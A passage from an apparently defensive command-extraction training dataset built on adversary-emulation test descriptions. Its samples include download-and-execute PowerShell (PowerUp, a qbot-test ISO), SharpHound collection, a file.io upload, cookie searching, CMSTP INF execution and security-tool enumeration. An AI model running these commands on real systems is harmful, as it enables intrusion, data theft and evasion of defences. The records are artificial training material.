(`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The endpoint's security software can be identified with the following command, which searches for various AV and security processes: ps aux | egrep 'Little\\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'",
    "output": "{\"command_list\": [\"ps aux | egrep 'Little\\\\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test, which was utilized by CookieMiner malware, involves changing to the Cookies directory and searching the binaryCookies file with this command: cd ~/Library/Cookies\ngrep -q \"#{search_string}\" \"Cookies.binarycookies\"\n",
    "output": "{\"command_list\": [\"cd ~/Library/Cookies\\ngrep -q \\\"#{search_string}\\\" \\\"Cookies.binarycookies\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Execution can be facilitated by a user running a malicious image, using the following command: IEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\" -OutFile \"$env:TEMP\\\\qbot-test.iso\")\nMount-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\"\n$mountedpath = (Get-DiskImage -ImagePath \"$env:TEMP\\\\qbot-test.iso\" | Get-Volume).DriveLetter\n$finalpath = $mountedpath + \":\\\\\"\ncd $finalpath\n.\\\\calc.exe.lnk",
    "output": "{\"command_list\": [\"IEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso\\\" -OutFile \\\"$env:TEMP\\\\qbot-test.iso\\\")\\nMount-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\"\\n$mountedpath = (Get-DiskImage -ImagePath \\\"$env:TEMP\\\\qbot-test.iso\\\" | Get-Volume).DriveLetter\\n$finalpath = $mountedpath + \\\":\\\\\\\"\\ncd $finalpath\\n.\\\\calc.exe.lnk\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To copy a UNC file to the destination, first delete any existing file with the following command: del %TEMP%\\redcanary.cab >nul 2>&1\n#{Path_replace} #{replace_cab} %TEMP% /A",
    "output": "{\"command_list\": [\"del %TEMP%\\\\redcanary.cab >nul 2>&1\\n#{Path_replace} #{replace_cab} %TEMP% /A\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Tor proxy service can be started, providing onion routing capabilities for applications like Tor Browser, by executing this command: osascript -e 'tell application \"Terminal\" to do script \"tor\"'",
    "output": "{\"command_list\": [\"osascript -e 'tell application \\\"Terminal\\\" to do script \\\"tor\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The data can be uploaded to file.io with auto-deletion enabled using the command: curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/",
    "output": "{\"command_list\": [\"curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run malicious commands through CMSTP.exe, adversaries may supply infected INF files with this command: cmstp.exe /s \"#{inf_file_path}\"\n",
    "output": "{\"command_list\": [\"cmstp.exe /s \\\"#{inf_file_path}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To identify running processes and save the output, use the following commands: ps >> #{output_file}\nps aux >> #{output_file}\n",
    "output": "{\"command_list\": [\"ps >> #{output_file}\\nps aux >> #{output_file}\\n\"]}"
  },
  {
